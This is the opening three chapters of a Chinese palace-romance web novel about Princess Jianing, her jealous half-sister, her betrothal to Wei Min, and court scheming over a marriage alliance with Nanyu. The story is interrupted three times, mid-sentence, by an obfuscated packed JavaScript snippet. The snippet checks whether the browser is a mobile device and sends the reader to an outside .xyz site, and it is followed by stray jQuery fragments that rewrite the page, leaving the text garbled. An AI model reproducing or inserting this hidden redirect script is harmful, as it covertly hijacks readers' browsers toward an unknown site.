《愿君独照我》 1. 第 1 章 永元五年的三月,大梁皇都,冬已去,春信来。 连日绵绵细雨放晴,暖风吹散寒气,青山又绿,群芳竞秀,帝京城里很快又是一片花团锦簇的繁华景象。 而南岸的冷风冰雨吹不进尚且沉浸在好梦中的北都贵人眼中。 刚开春的帝京,少晴多雨,时而阴冷逼人,这时节贵人们都不爱外出走动,尤其是各宫娘娘们在深宫里待了一个冬天,都爱看点新鲜玩意,所以上林苑里的鲜货就成了这时节的抢手货。 丑时二刻,凉凉的雾气笼罩着上林苑。恰逢万物复苏,园子里遍植的各种名贵花木茂密繁盛,此时恰逢千种百种花开,一时灿烂,令人目不暇接。 而这时辰最忙碌的,又要属花木苑的匠人。 专门侍弄花草的花奴春莲早早就拿着花剪在花圃里忙碌起来。 晨气虽凉,她却在花房里忙得出了一身汗,剪刀使得又快又准,将剪下来的花放在花篓里放好,丝毫不敢马虎。 他们每日要在太阳未升起前,把最新鲜的花送到贵人案前。 尤其她今天还是给位特殊的贵人准备的,更是要小心。 春莲小心翼翼背着一大篓花出来,先去见花苑管事的女官,“柳儿姐姐,这是预备给永安宫送去的,还请姐姐帮我先掌掌眼。” 细柳认真检查完枝叶,挑去几枝花型不佳的,满意道:“小丫头眼力好,剪刀使得不错。” 细柳是掌管花房的八品女官,管着她们这一大群丫头小子,平常很严肃,对待她们没个好脸色,难得从她嘴里听到句夸奖。 春莲压抑着兴奋:“都是柳儿姐姐教的好。” “你进宫也有大半年了吧,该是时候放你出去历练历练。”细柳盘算着时辰,又看眼前圆头圆脸的小丫头一眼,“今日就你随我去送花。” 春莲激动地捂住嘴巴,她进宫以后,见过品级最高的女官便是上林苑的六品掌事姑姑,还没出过上林苑,没见过各位贵人呢。 “不过嘉宁公主身份尊贵,有些事情,我要提前跟你交代好,免得犯了公主的忌讳。” 嘉宁公主是贵妃所出,中宫皇后早逝,皇帝并未立继后,现而今是贵妃娘娘掌管后宫,公主又是贵妃唯一所出,地位超然,自然精贵。公主宫中伺候的人都是贵妃娘娘亲自挑选的清白人家,轻易不加新人,想进去伺候且还要排着队。 一路上,细柳都在细细叮嘱春莲,她亲自背着花篓,另有两个花匠捧着几盆子用黑布遮住的花,小心翼翼来到永安宫,递了个消息,等待里面的人出来取。 传信的丫头轻手轻脚的进来寻人,公主还未起身,底下人不敢吵闹。 管事的嬷嬷们聚在暖和的偏殿中,正低声议论着最近帝京城的头等大事。 南余大王子十日后进京,要求娶大梁公主。 说是求娶,按如今的形势,其实根本没有任何拒绝余地。 消息刚刚传进京中,和亲人选暂未定下,这小小的宫墙内已经暗流涌动。 她们这群人在宫中待了二三十年,消息网庞杂错综,就像春江水暖的鸭子,连哪宫娘娘昨晚多吃了两口菜都知道,是最能感受到宫中气氛的。最近膝下有适龄公主又还未出嫁的娘娘们都在暗中较劲,生怕自己的女儿被选中。 年纪最长的李嬷嬷往西边努了努嘴,“那个大王子只说求娶公主,陛下还没决定,说不准是谁,总轮不到咱们家主子。帝京城里人人皆知,咱们公主早和魏世子定下亲事,且主儿颇受皇帝宠爱,陛下才舍不得将公主送出去受苦。” “就是不知道哪位公主要遭殃,听说南余那边穷山恶水,刁民很多,嫁过去指不定要茹毛饮血,恶心得很,还不如在帝京城找个小官下嫁。” 这群嬷嬷照顾公主长大,在宫女中颇有体面,一时眼神飞动,都等着看热闹。 突然门帘被掀起,一股冷气飘来,掌事女官人未至声先到,嗓音清脆:“原来嬷嬷们都在这里,实在让我好找。” 她脸色瓷白,年岁虽小,那管事的姿态却已经拿捏十足,在屋内扫了一圈,扬起笑容:“朱嬷嬷,公主在陛下千秋节上要穿的裙袍,尚衣局还没送来,怕是她们偷懒耽误了,还得您出面去催催。李嬷嬷,新来的几个小丫头调教了半年,还是笨手笨脚的,我不放心让她们去伺候公主,劳烦您再领着人教教她们这永安宫的规矩。” 她眼光这么一扫,顿时给几个嬷嬷都派了活。 几个嬷嬷低着头,也不反驳她,没办法,谁叫公主最宠她,贵主特意请旨,给她封了女官,倚老卖老这一招在她身上用不了。 她们现在敢下她的面子,她转脸就能去找公主和贵妃娘娘告状! 李嬷嬷当即就说要去看看情况,其他人也散了个干净。 等人走,女官脸上的笑意顿时如云消雨歇,这群老人仗着从小就在公主身边伺候,前些年拉着手底下的小丫头们内斗,宫女们没少受她们欺负。随着公主年岁渐长,与魏侯世子定下婚事,贵妃娘娘担心公主天真心软,被人糊弄过去,教她如何打压收服,拿捏人心,这几年嬷嬷们的势头才被压下去。 魏家家风严谨,魏世子管教极严,贵妃娘娘说了,到时候这些人一个也带不走。 她掀开帘子,先指挥着花匠将几盆牡丹小心放在院中,再去看细柳送来的鲜花枝,满意地点点头,“明日依旧是这个时辰送来,多挑着好看的种类,颜色不要太俗气,要是有什么新鲜没见过的花木,也尽数挑来。” 细柳应下,拿了银钱就要走。 “等等。”女官叫住她们,抓了把花生糖给春莲,将她上下打量一通,又笑着对细柳说:“这小丫头模样看着讨喜,明日还是让她来送,说不定能见见公主。” 春莲尚且懵懵懂懂,细柳听出话音,高兴地拍拍她的后背,“还不快谢谢掌事女官。” 春莲跪下,结结实实磕了个响头,把女官逗笑,又给她塞了一把糖。 细柳带着春莲离开,回上林苑的时候她让春莲好好洗漱,为明日做好准备,“永安宫极少进新人,要是你明日能见到公主,和她眼缘,有幸留在永安宫中,那以后的日子真就完全不一样。瞧今日的掌事宫人,便是六品女官,若是公主提拔,品级还能再往上升一升。就算是永安宫中的普通宫女,日后能随公主出宫,放在外面就是了不得的荣光,等到了年纪,还能嫁个不错的人家,说不定以后就不用伺候人了。” 春莲到底是小孩子,没想到女官脾气这么好,高兴地和细柳分吃起花生糖来。 且不说那两人如何激动,掌事女官让人将花插入烟粉色盘口瓶中,又将宫中诸事都安排的井井有条,等去长春宫送信的人回来,再回到寝殿之中来喊公主。 她看床榻上的人还没动静,先挂起杏色床幔,“贵主,该起身了,今日要去给娘娘请安。” 公主睡姿规矩,睡容娇憨,听到声音不过哼哼两声,翻了个身,试图捂住耳朵继续睡。 女官被她的动作逗笑,看时辰实在是不能拖下去,又喊了两声,取来醒神的香囊,挂在床头等了一会,睡成一团的人才有动作。 庄惟月吞慢慢掀开被子坐在榻上,揉揉眼睛。 蛾眉螓首,杏脸桃腮,是最高明的宫廷画师无法描摹出来的容颜,当她看过来时,仿佛枝上海棠缓缓绽开,一下子将满园春花比了下去。 美人蹙眉,慢扫一眼:“什么时辰了?” 女官扶着她起来,轻声细语地说:“已经巳正,贵主今晚万万不能再偷偷喝酒,娘娘那里瞒不过去的。” 宿醉的庄惟月头有些痛,心想那古书里的酿酒秘方原来这么难喝,不知道是谁夸得天花乱坠,她还想酿出来送给魏珉的,这下用不成,又要重新选他的生辰礼物。 “好姐姐,你可千万别告诉母妃,我就是想试试野酒仙留下来的酒方子,谁知这酒竟如此难喝。”她揉着额头,一股被骗到的表情,语气又有些遗憾,仿佛自己的某种愿望被打碎,“这些传奇故事,也多半书商写来骗人的,我还以为真有人能独臂攀上百丈悬崖。” 女官笑了笑,嘉宁公主就像一只对什么都好奇的小兽。永安宫中最多的便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715890|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各种传奇志怪小说,前前日仿着书中要做山茶饼,祸害了一盆红宝珠,昨日又要喝上月亲自酿造的酒,不过一盏,便醉倒在殿中酣然大睡,急得她差点去请太医来。 “奴从未听说什么野酒仙,想来是书商为了卖书编纂出来的人物。” “要是天底下没有这样的人物,那不如让我来当。从夏,你以后可愿意陪我走遍天下?” 从夏听了自家主子这样一番雄心壮志,笑眯眯地说:“自然愿意,贵主去哪,奴就去哪。不过,您要是游历天下,那世子呢?” 庄惟月倒是没想到这层,大手一挥,“世子哥哥可以跟着我们一起去。” 从夏抿着嘴笑,边低头给庄惟月换衣裳。 等换好里衣,其他宫女入水似进来,给公主梳发,点妆。 庄惟月性格如此,鲜少对身边人说重话,近身伺候她的宫女们也活泼得很。 “贵主缎子似滑溜溜的一把头发,听说头发软的人,心肠也软。” “今日魏世子也随魏侯夫人来宫中了呢,现在就在贵妃娘娘殿中。” 庄惟月一听魏珉进宫,顿时笑的眉眼弯弯,“世子哥哥来怎么也没给我递个话,动作快些,我们赶紧去长春宫。” 宫中人都知道,嘉宁公主庄惟月和忠武侯世子魏珉青梅竹马,魏家世家权贵,忠武侯手掌兵权,在朝中很能说得上话,对比毫无势力支撑的母家,贵妃娘娘乐见其成,早早就定下婚约。 皇帝和贵妃都盼着这对感情甚笃的小儿女长大,早日成亲。 用过早膳,庄惟月问从夏:“送给母妃的花都准备好了吗?” 从夏令人将花带着,“娘娘最爱的牡丹,上林苑送了三盆来。” 牡丹养得很好,粉色花瓣重重叠叠,柔似锦缎,覆着珠光,还有淡淡清香。 “将这盆留下,一盆送母妃,还有一盆送到蓬莱宫吧。” 庄惟月又让从夏摘下枝盛开的牡丹,拿在手中赏玩,花大如碗,花瓣完全将花蕊淹没,开得热热闹闹。 从永安宫到长春宫,要走长长的宫道。 她们碰上了另外一行人。 庄惟月主动朝来人打招呼:“五妹妹。” 庄惟心也停下脚步:“四姐姐。” 她眸光几转,落到庄惟月搭在臂间的花上,“好漂亮的牡丹。” 庄惟月:“上林苑送来的,妹妹要是喜欢,可以让他们送到你宫中。” 庄惟心直勾勾盯着她,“可我就喜欢姐姐手上这一枝,这一朵。” 从夏脸色已经不好了,五公主惯会抢姐妹们东西的,她刚要站出来维护自家主子。 庄惟月没有丝毫为难,微微一笑:“妹妹喜欢,不如我替你将这朵花簪在发间?” “那就多谢姐姐。” 庄惟心昂起下巴,让庄惟月给她簪花。 “这朵正好配妹妹今天这身碧罗裙,如花下青狸,我见犹怜。”庄惟月将牡丹簪在庄惟心发髻上,往后退了两步,“我还要去给母妃请安,便先走了。” 庄惟月一走,庄惟心立刻翻脸不认人,拔出牡丹来丢在地上,连花枝勾起头发也顾不上,狠狠将花踩碎,“我哪里要靠她施舍。” 她早前也着人去要花,偏偏上林苑的人回话说还没到牡丹开的时候,给不出来。听说花木苑的匠人用了新方法培育牡丹,日夜照顾,总共就得了这么几盆,都送到了永安宫。 “都是群谄媚的东西,望风而动,惯会谄上欺下,她不过有个好娘罢了。”庄惟心绞着帕子恨恨道。 她忽然变了脸色,狐疑道:“方才庄惟月说我什么,花下青狸,这什么意思?” 侍女正将庄惟月散开的发丝藏进发间,想了想,“奴听闻市井间常用狐狸形容女子妩媚姿态,想来是四公主嫉妒贵主美貌,故意诋毁。” 庄惟心:“哼,她的样貌的确比我差上几分。” 突然想起进近来宫中诸多传闻,庄惟心对着侍女道:“我听说和亲人选就在我们姐妹几人之间,你说,要是把庄惟月送过去怎么样?” 2. 第 2 章 “心娘,快快收起你这些可怕的想法。”顺嫔被女儿的话吓到面露惶恐之色,她摆摆手,让身边伺候的宫女都出去。 “母妃,您的胆子也太小了。” 庄惟心很失望,她觉得母妃这一辈子仿佛被这个封号的顺字所框住,性格柔顺,对人恭顺,做事循规蹈矩,唯恐走错半步。她自己不争不抢,在后宫如同隐形人般,也不许自己的女儿同庄惟月争。 可庄惟心从不这样想,“我们同为公主,品秩相同,庄惟月非嫡非长,凭什么她的身份就比我的尊贵。” 等宫人们全部退出去,顺嫔才抚着胸口,保养得宜的脸上有股病弱之气,她语气柔弱地劝女儿:“陛下已经几年不来我宫中,恩宠日薄,贵妃独揽后宫大权,她又宠爱庄惟月,要是得罪了她们,这宫中哪还有我们母女二人的立足之地。” 庄惟心才不服气:“这宫中又不是她一人一手遮天,您是父皇自太子时册立的两位侧妃之一,素来受人敬重,我看谁敢为难您。” “当年你迟迟未定下封号,眼看着要到十六岁,比你年岁小的八公主都已经被赐下食邑。要不是本宫在贵妃娘娘面前伏低做小,怎么求来你的封号。”顺嫔喜好诗书,性子恬淡,实在不知道为何生出来的女儿性情与自己南辕北辙,骄傲自负且脾气甚大。 她时常因为庄惟心的出格想法而感到头疼,叹了口气,再看向女儿时,面色却是从所未有的严肃,“知道你素来主意大,其他的随你去,本宫也不想管,不过眼下最要紧的这件事,你必须得听我的。” 庄惟心在顺嫔旁边坐下,撒娇似的说:“母妃,您今日特意找我来是要说些什么?” 顺嫔将放在桌上的雕花木盒推给她:“你先打开看看。” 庄惟心一进殿中就发现这东西,还以为是母妃要送她的首饰,满怀期待地打开,发现里面只有一卷普通书画,顿时大失所望,撒开手时还不太高兴。 顺嫔不动声色地看着,虽对自家女儿想法再了解不过,但此刻还是叹了口气。她心中早已打定主意,语气更加温和:“你的姐妹们都已定下夫婿,如今只你仍挑来挑去,定不下心来,本宫便做主,替你挑了个好人家。” 她展开画卷,指着上面的俊秀年轻男子道:“这人名叫袁扶南,算得是你外祖座下学生,还是清河县主的外甥,袁家家风严谨,堪称清流,听说他为了专心读书,房中至今连个丫鬟都没有放。他本人人品样貌学识具是上佳,曾是永元二年的探花郎,如今在户部就职,听你外祖说颇有前途。” “长得是还不错。”庄惟心瞥一眼旁边的小字,眼神在下方的官职上停留一瞬,随即眼露鄙夷,“可袁扶南扶南不过才是六品的员外郎,庄惟月身边的掌事女官已然是六品,他连个看门的都比不过,官职微末,怎可与我相配。” 顺嫔觉得自己头更痛了,轻言细语同庄惟心解释:“你呀,看人不要只看一时。袁扶南是世家贵族子弟,他自己争气,科考出身,日后朝中又有你外祖扶持,穿紫着朱只是时间问题。” “那他什么时候能越过魏世子,要是得花上个十年八年的爬上去,岂不是一辈子要被魏世子压在下头,连累我也被庄惟月看轻。”庄惟心语声渐渐尖锐起来,“现在外面那些人只知道庄惟月出身尊贵,谁还记得早二十年前,贵妃不过是个最低贱的屠户,要不是父皇偶然看到,将她带进宫,说不定现在她还在西市当街卖肉呢,哪来的什么贵妃,什么嘉宁公主。” “庄惟心!慎言!” 顺嫔大怒,她沉下脸来,目光沉甸甸压在女儿身上。 庄惟心极少见到母亲发怒,抿了抿唇,搂住顺嫔的胳膊,“我闭嘴还不行吗,母妃您千万别生气,免得气坏了身子。” “本宫不生气。”顺嫔点破她的心思,直言道,“魏珉你就别想了。魏侯那样的人家,朝中再找不出第二个,就算他当不成嘉宁的驸马,绝不可能娶你。” 庄惟心眼睛一转,想出几个人选:“那溧阳侯世子呢,我觉得他也不错,尚未成亲,年岁又和我相仿。” 顺嫔伸出手指来点点她眉心,被气笑了,“他自幼多病,连太医都说他或许活不过二十岁,难不成你要嫁过去替他守寡!” “我可是堂堂公主,难道就没有别的更好的选择了吗?”庄惟心纤细的手指按住画中男子的脸,勉为其难地说,“要是这个叫袁扶南的,今年能升到四品,成为一司之主,掌管属司钱银,我倒是可以考虑选他做驸马。” “四品?你当户部是你外祖开的不成?” 顺嫔不得不承认,庄惟心被她惯坏了,素来不学无术,肚子里没几两墨水,身为公主却对金银玉石之类的俗物最感兴趣,脑子里塞得恐怕只有草包。 “虽然这次南余和亲的人选多半是三公主,轮不到你头上,但近来南方水患严重,国库空虚,你日后成亲时,宫中那些人指不定要敷衍多少。本宫想来想去,你的婚事要是能在南余使团进京之前定下来最好。袁扶南是本宫千挑万选出来的驸马人选,难不成我和你外祖还会害你不成?” 庄惟心身子一颤,想到南余的种种传闻,前朝多位和亲公主的下场,害怕压过所有情绪,她松了口,“我想先见见袁扶南。” 顺嫔长舒口气,命守在殿外的人进来:“本宫早就安排好了,等会你便出宫,去你外祖家里住几天。” 庄惟心不甘心,她想起什么,快速说:“我见过几次魏家妹妹,是个十分有本事的人。我就不相信,她庄惟月能顺顺利利嫁入魏家。” 顺嫔只得再告诫她:“收起你的心思,不要再招惹嘉宁。过几日本宫便向你父皇请旨赐婚,你在宫中安心待嫁。” …… 庄惟月没将和庄惟心之间的这点小矛盾放在心上,她路上因事耽误,这会才走到长春宫门口。 踏进宫门前,她叫来从夏,再三叮嘱:“刚才的事情,不许告诉母妃。” 从夏本来是打算在贵妃面前狠狠告五公主一状的,闻言心有不忿,气呼呼地说:“那您也太受委屈了,五公主总是喜欢抢您的东西,您处处忍让,她却变本加厉,实在过分。” 宫中姐妹们性格迥异,争宠斗气是常有的事,只不像寻常人家里做的那么明显。庄惟月早已习惯庄惟心的性子,并不以为意,“一朵花罢了,她喜欢便拿去,随她处置,亲姐妹之间何必计较这些。” “可她并非真心喜欢。”从夏一想起来就觉得生气,“您拿她当姐妹,从未告诉过娘娘这些事,她才不会念着您的好。” 只要是庄惟月的东西,但凡被五公主看见,不管是江南进贡的锦缎,还是园子里的牡丹花,有时候也不是多么贵重的东西,可庄惟心看到就想要,她抢走并不用,单纯就是为了试图恶心人。 “宫中生活本就枯燥乏味,消磨人心,她当面与我争吵,好过背后使绊子。再说了,你不觉得五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715891|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹像极了她养的那只绿眼狸奴吗?娇纵跋扈,很是好玩呢。可惜母妃不让我养猫。”庄惟月越说越心痒,开始盘算起来,“等日后我建府出宫,定要聘只貌美的小狸奴到公主府,不知是选波斯猫还是狮子猫好,干脆这次出宫让魏珉带我去看看。” 从夏脑子里只有一个念头,“贵主心善,此番若是能让娘娘训诫五公主,以后她一定听您的话。” 庄惟月心情完全没受影响,只想今天别出什么纰漏,万一贵妃知道发作起来,肯定不会放她出宫。 担心从夏这一根筋的脾气坏事,她敛了笑意,眼风扫过去,“你都不听我的话,还指望着五妹妹听我的吗?” 自家公主的语气虽然平淡,但从夏从小就跟在庄惟月身边,最是了解她的性子,心肠虽软,肃容时亦有决断之心,不敢在她跟前再说庄惟心的坏话。 从夏刚刚闭上嘴,长春宫的管事姑姑就出来迎她们。 “贵主可算到了,娘娘从早上就开始盼呢,两刻钟前您递话说要过来,娘娘催奴出来看了好几遍。” 庄惟月淡然同她说:“方才在来的路上碰见翁女官,想起来请她帮忙在书阁中寻一本曲谱,聊天耽搁了些时间,这才来迟了。” “没出什么事就好。”掌事姑姑四十来岁,自贵妃入宫起,便跟在她身边伺候,几乎是看着庄惟月长大,与她很是亲近,悄声询问,“昨晚贵主是不是偷偷喝得酩酊大醉?” 庄惟月心虚的目光往殿中移动,语气变轻:“母妃也知道啦?” 掌事姑姑看小娘子的可爱神态,止不住的笑意,“今早有小丫头去贵主宫中传消息,看见从夏带着人清理碎掉的酒坛。奴替贵主把这件事瞒了下来。” 庄惟月放下心,挺直了背往前走,“幸好有芳杏姑姑在,可不能让母妃知道,不然她又要为我担心。” “宫中口舌多着呢,有些话怕污了贵主的耳,以后行事须得谨慎些。来,小心脚下。” “母妃说的话我自然听,陛下说的话我只听一半,至于其他闲言碎语,还入不了我的耳,姑姑大可以放宽心。”庄惟月抚着裙子,说这话时眉间微挑,倒显出睥睨的公主姿态。 管事姑姑看了看她身后宫女抬着的东西,引着庄惟月进入殿中。 “母妃!”庄惟月像只蝴蝶,翩翩飞入殿中,声如银铃,“瞧我今天给您带来了什么。” 贵妃一看庄惟月进来,立刻招手道:“快些来见过魏侯夫人。” 殿中几条火龙烧得正旺,鎏金博山炉上烟雾袅袅升起,带着淡淡梅花香味的热气扑面而来,外面带进来的寒意在顷刻之间消弭。 从夏默默走上前,替庄惟月取下御寒的披风,再打理好公主皱起的衣袖,退到旁边等候。 庄惟月扬起笑,走上前见两位长辈。 魏侯夫人也起身,她出身不俗,乃是荥阳郑氏嫡女,自年少时与魏侯相识,后两人成亲,生下一子一女,生活幸福美满,乃是帝京有名的有福之人。凡遇嫁娶,能请到魏侯夫人纳征,那是天大的荣幸。 她长得颇为面善,笑起来时如春风化雨,叫人生不起半点提防之心,先行礼,“嘉宁公主。” 庄惟月虽早封公主,品级比魏侯夫人高,不过在场人都心知肚明,日后她是要嫁入侯府,与魏侯夫人做婆媳的,因而在侯夫人跟前,很少摆公主的架子。 “魏侯夫人。”庄惟月客客气气地与她见礼。 3. 第 3 章 魏侯夫人避开半步行礼,往她身后看了两眼,好奇问:“公主给娘娘带来了什么礼物?” 庄惟月笑了笑,指挥花奴们:“你们揭开吧。” 宫人小心翼翼取下罩花的黑布,顿时满室生辉,娇艳的牡丹花开得盛极,粉花绿叶,灿若云霞,几乎要夺去殿中所有颜色,就连见惯了各种稀罕物的贵妃娘娘眼中也流露出惊叹,忍不住靠近相看。 花瓣葳蕤生光,莹莹夺目,即使放在春日牡丹宴,这样品相的牡丹在帝京也难得一见,三人纷纷赏玩起这两盆难得的牡丹来。 庄惟月笑得眉眼弯弯,一副求夸奖的语气:“我这礼物怎么样,母妃可还算满意?” 贵妃向来宠溺女儿,更何况,这礼物实在送到了心上,她觉得十分熨帖:“这就是你捣鼓出来的?本宫很是喜欢。” 庄惟月有几分得意的样子,语声如雨打绿荷般清脆:“不过略微给他们出了个小主意,暖房培育出来的新品种,拿出去价值万钱,今年宫中要是再举办斗花会,必是母妃拔得头筹。” 贵妃搂着庄惟月,笑道:“难得你有这份心意。芳杏,赏。” 她话音刚落,掌事姑姑立刻领着花奴出去领赏,另有人领命去上林苑再赐下赏钱。 魏侯夫人察言观色,自嘉宁公主进来,贵妃唇角的笑就没下去过,方才和她对话时脸上的一点点郁气仿佛也被牡丹花携带的柔软春风吹淡。 宫内宫外,人人皆知,陛下子息深厚,皇子皇女加起来将近双十之数,可要论起最受宠的子女,太子以外,要属贵妃所出的嘉宁为上。 她熟稔地装点起笑容,对着贵妃说:“牡丹虽娇艳,终究是草木,在贵主面前落了下乘,我看全帝京再也找不出比嘉宁公主标致的小娘子。” 贵妃赏完花,斜靠在美人榻上,难掩笑意:“她小孩子家家的,受不起侯夫人如此高的夸赞。” “哪里。”魏侯夫人牵着庄惟月的手,目光温柔,细细打量她,语调带着亲昵,“我嘴笨,只知道在嘉宁公主面前,真真是牡丹也要无颜色。” 庄惟月大大方方地任她打量,突然眼前一亮,将插花的梅瓶和花剪都拿来:“夫人的夸奖惟月受之有愧,既逢此时,手边又有群芳相伴,不如我替母妃和夫人簪花,讨个春日来的好意头。” 贵妃端起茶杯吃茶,头也不抬地道:“先让魏侯夫人挑。” 牡丹自然要留给贵妃,魏侯夫人只看瓶中花朵,素手一指,“这红十八合我眼缘,便请公主为我簪朵山茶吧。” 庄惟月从梅瓶里剪下一朵红彤彤的山茶花,簪在魏侯夫人发髻上。 而后贵妃果然选了枝怒放的牡丹。 贵妃拂过鬓边牡丹,看庄惟月眼睛转来转去,长眉一挑,提醒她:“本宫这里只有魏侯夫人一位客人,你四处看什么呢。” 庄惟月收起目光,在殿中随便点了点:“我看母妃殿中这连盏灯甚好,十三盏灯姿态各异,技艺精巧,从前没见过这样东西。” 贵妃轻笑一声:“从夏,等会把这盏灯带回你们公主宫中,免得她日夜牵挂。” 庄惟月笑眯眯地收了礼物,“还是母妃最心疼我。” 贵妃扭过头,眼含笑意,对着魏侯夫人说:“瞧瞧,送了盆牡丹,转眼就要从本宫这里拿盏灯走,她从不干亏本买卖。” 魏侯夫人哪里听不出她的话外音,附和道:“嘉宁公主对娘娘的孝心实在让我羡慕,要是我有这样贴心的女儿,一盏灯又如何,就算是要天上的月亮,我也得搭梯子去给她摘下来。” 贵妃没接她的话,摸摸庄惟月的脸,叫人拿了个紫铜刻花手炉过来,“本宫看你在这里待不住,你出去玩吧,正好本宫同魏侯夫人还有些话要说。” 庄惟月眉眼微弯,任由从夏给她系上披风,双手拢着暖手炉,态度是十分的乖巧:“那我等会再来陪母妃用膳。” 贵妃点点头,目送她离开,“去吧。” 庄惟月前脚刚迈出长春宫大门,后脚掌事姑姑就追出来,在她耳边低声提示:“今日魏世子跟着侯夫人来了,九皇子正当陪客,贵主可以去昭庆殿前的花园逛逛,那里的海棠花似乎开了。” 她合掌便笑:“正为难去哪,多谢姑姑提醒。” 庄惟月往前走了几步,停步后看,只见得芳杏姑姑匆匆回去的背影。她心想,母妃究竟要和魏侯夫人商量什么事情呢,还要特意支开她。近来帝京城里最瞩目的就是南余使团进京的消息…… 莫非,母妃终于想和魏侯夫人商量婚事…… 那样也好,她从前不想违抗母妃心意提前出嫁,可也实在不想在这腐烂肮脏的皇宫多待一日。 魏珉是她选中的头马,庄惟月也想知道,他究竟能带着她跑多远。 不管是长河落日,还是黄沙漠漠,前辈游记中记载的种种险峻之处、奇异景象,大梁国土所至,她都想亲眼看看。 从夏看她在原地陷入沉思,问了句:“贵主,可是落了什么东西?” 庄惟月心中又轻快起来,“无事,我们先去找世子哥哥。” 芳杏回到殿中后,很快又领着人退出去,只留下贵妃和魏侯夫人,她面无表情地守在门口。 虽然日头高照,风吹来时却仍感阴冷,殿中此刻的氛围同样如此。 随着庄惟月的离开,贵妃的笑也消失地无影无踪,她直接开口:“今天请你来,是同你商量惟月和魏珉的婚事,嘉宁十七岁了,本宫想先把他们成亲的日子定下来,下半年有几个吉日,你也挑一挑。” 魏侯夫人面色闪过惊诧,迟疑了一瞬,笑着说:“不到半年时间,要成亲是不是有些着急?” “你不愿意?”贵妃的脸立刻沉下来,似山雨欲来,她将茶盏“噔”的一声搁在桌上,眼皮掀起,冷声说,“这桩婚事还没定下来,要是你们魏家看不上本宫的女儿,现在反悔也来得及。” 到底是在后宫风浪里厮杀出来的女人,她眼角一提,唇角噙着冷笑,那重于千钧的压力便落在魏侯夫人脸上。 魏侯夫人避开她洞察人心的眸子,忙道:“臣妾惶恐,魏家上下并无此意,全听娘娘安排。只是我担心准备亲事的时间仓促,唯恐委屈了贵主。” 贵妃斩钉截铁道:“既然如此,本宫今日就命钦天监选个吉日。先将日子订下来。” 庄惟月全然不知这番对话,正指挥着侍女挑下一枝幽香的梅花。 昭庆殿靠近前朝,离崇文馆很近,距离嫔妃所居的西内宫很有些距离。 一路花红柳绿,山花吐蕊,颇是分人心神,庄惟月边赏边走,从夏怀里渐渐抱上一大捧新鲜花枝。 好不容易看见昭庆殿三个大字,守在门口探头探脑的小内监立刻高呼“嘉宁公主到”,连滚带爬地进去报信。 从夏看着那人背影,不怎么确定:“贵主,那好像是九皇子身边的人。” 庄惟月低头,将手中的小玩意收了个尾,捏在掌中,“九弟是个急性子,一定是等不及了。” 九皇子庄钧盼她盼的望眼欲穿,一看庄惟月进来,立刻放下毛笔,跑上前咬牙切齿地说:“四姐姐,您老人家的腿脚可还好?” 从长春宫到昭庆殿,她足足走了半个时辰。受折磨的倒是他来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715892|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还好还好。”庄惟月看出他的迫不及待,把东西往他手里一塞,“喏,这是送你的礼物。还望阿弟常出去走走,方才不负这大好春光。” 从夏心灵手巧,早早打理出一束花,拿青绿釉灯笼瓶养着,递给方才大呼小叫的小内监。 九皇子和魏家有些渊源,他的母妃也出自郑氏,是魏侯夫人的表妹,庄钧自幼就喜欢跟在魏珉身后行事,加上未来姐夫这重关系,他和庄惟月姐弟两人相处还算融洽。 庄钧让随侍内监将花瓶摆到自己书房,再端详完庄惟月给他折的草螳螂,对自己收到的礼物十分不满:“我听说阿姐早上才送了一盆牡丹给父皇,怎么轮到我这里,就是迎春、海棠之类的平常样?” “王弟的消息真是灵通。” “父皇在蓬莱宫当着众臣子的面对阿姐送去的牡丹大加赞赏,阿弟实在羡慕啊。” 庄钧的母妃耳目清明,奈何儿子喜好吃喝玩乐,扶不上墙。 庄惟月垂眸,她知道宫中消息传得快,只是没想到竟是这样快,长长的羽睫在她眼下投出一片弯钩似的阴影。 也挡住了她眸中清冷的目光。 正因为看得明白这宫中越来越近的绞杀,不管是聪明人,还是蠢货,正如飞蛾扑火,总会有永无休止的渴求,将身边人枯催拉朽地毁灭,她才更想飞出这座华美的牢笼。 庄钧追着说:“我不白拿,要是阿姐能给我几盆牡丹,卖出去咱们六四分成,只需两月,弟弟保管给你赚下永安宫一年的开销。” ”总共才得了这么几盆子早开的牡丹,送给父皇母妃以后,我手里也没剩下什么,等过阵子养出新的来,一定差人送到你宫中。”庄惟月目光一瞥,落到庄钧正在写的策论上,从头到尾数百字,几次断墨,可见主人思路不畅,断断续续写了许久,她看完摇摇头,“可惜了这手好字,写成这样,许先生该打你手心。” 话音刚落,庄钧顿时露出杀鸡抹脖子似的表情,求她立刻闭嘴,收了神通。 庄惟月顺着他的目光,看到殿中的另外一人。 